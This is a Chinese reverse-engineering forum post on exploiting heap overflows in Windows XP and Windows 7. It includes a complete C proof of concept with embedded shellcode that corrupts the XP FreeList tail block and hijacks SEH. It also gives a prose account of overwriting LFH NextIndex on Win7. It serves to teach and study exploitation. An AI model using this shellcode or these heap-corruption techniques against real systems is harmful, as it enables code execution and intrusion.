首页
社区
课程
招聘
[原创]xp 、win7 堆溢出
发表于: 2021-4-13 23:28 5575

[原创]xp 、win7 堆溢出

2021-4-13 23:28
5575

一:XP溢出利用

目前总结的有两种方法:
a: 从尾块中进行分配(存在一个将堆地址写入到任意内存地址的漏洞)
b: 从快表中--溢出--分配--分配(返回的分配地址可以是自己溢出的任何数据)

第一种:从尾块中进行分配

FreeList[0]双向链表保存着所有超大空闲块(大于0x128<<3字节),其中也包含尾块。 当FreeList[0]链表中只有一个尾块时,FreeList[0]->Flink = FreeList[0]->Blink ,此时从尾块中分配内存时,链表安全检测可以过掉,可以被攻击,见代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//限制条件:
//    1:FreeList[0]中只能包含1个尾块(不能有其它大的空闲块在链表中),因为当FreeList[0]->Flink = FreeList[0]->Blink 时 链表完整性检测可以过掉
//    2:以下代码中有两个需要修改的地方: 分配的堆地址 、 seh节点地址
//        (也可以不修改,xp多运行几次,靠运气)
//  
//  
//  
//  
#include <stdio.h>
#include <windows.h>
 
    char shellcode[]=
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x10\x01\x10\x00\x99\x99\x99\x99"
 
        "\xEB\x06\x3C\x00\xEB\x06\x3C\x00"        //003C06EB 中的003C0000 为分配的堆地址(需要手动修改)
 
        "\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\xEB\x31\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 
        "\x11\x01\x10\x00\x99\x99\x99\x99\x8C\x06\x3C\x00\xb4\xFF\x12\x00"    //12FFB4 为stack中 seh的节点地址(需要手动修改)
        "\x90\x90\x90\x90"
 
        "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
        "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
        "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
        "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
        "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
        "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
        "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
        "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
        "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
        "\x53"
        "\x68\x64\x61\x30\x23"
        "\x68\x23\x50\x61\x6E"
        "\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
void main()
{  
    HLOCAL h1,h2;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
//    __asm int 3
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);   
    memcpy(h1,shellcode,300);                        
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);       
    int zero=0;   
    zero=1/zero;
    printf("%d",zero);                            
}

第二种:从快表Lookasdie中进行分配,溢出后返回的分配地址可以是任意值。

一:win7溢出利用

先上图:

 

(跟着 _HEAP->FontEndHeap字段可以索引到最终_HEAP_USERDATA_HEADER地址;此例分配的都是8字节空间,连续的 "16字节可用空间(包括快首)" 就是LFH开辟的用户空间)
类似这种:

 

每一个chunk都是UserBlocks结构,包括8字节块首+用户空间,结构如下:

其中的NextIndex为WORD值,用来在分配是索引下一个可分配的地址,主要溢出就是溢出这个值。

 

LFH分配时需要_HEAP_SUBSEGMENT结构中的AggregateExchg字段来完成(包含深度和偏移)。

分配流程:

第一步:根据 AggregateExchg->OffsetAndDepth 获取到目的块地址(块首):
即:addr = _HEAP_USERDATA_HEADER+ (AggregateExchg->OffsetAndDepth >>13) & 0x7FFF8

 

第二步:根据这个块的 NextIndex 去更新AggregateExchg->OffsetAndDepth:
即:AggregateExchg->OffsetAndDepth = (AggregateExchg->Depth-1) || NextIndex << 0x10

 

第三步:返回分配的地址 addr
(分配时没有使用/检测UserBlocks的前4个字节xor)

释放流程:

(需要释放的块的块首为 addr)
第一步:计算 WORD(AggregateExchg->FreeEntryOffset),将结果赋值给NextIndex字段

 

第二步:更新AggregateExchg->OffsetAndDepth:
即:[(addr - _HEAP_USERDATA_HEADER)>>3 << 0x10 ] | (AggregateExchg->Depth + 1)
(释放时有使用/检测UserBlocks的前4个字节xor)

利用:

释放时会对块首前四个字节的编码值进行校验,利用难度大;
分配时没有检测,此时若对某个空闲chunk块的NextIndex值进行覆盖,那么,下次分配到这个chunk块时,就好将这个NextIndex写入到AggregateExchg->OffsetAndDepth字段;继续分配,就会分配到程序"意料之外"的地址;
(当然,分配的地址不能无限大,因为分配时 & 0x7FFF8,将分配的地址控制在当前的LFH堆中)
(图片放到附加了)

(!!!最重要的:xp中只总结了2种方法,win7中只总结了1种方法,若各位大佬有其它方法、或文中有错误的地方,请在评论区留下宝贵意见)

(若有报过相关的漏洞也请说一下---我没有找到...)


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2021-4-14 18:44 被猪肉炖粉条lr编辑 ,原因:
上传的附件:
  • 1.zip (216.12kb,9次下载)
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//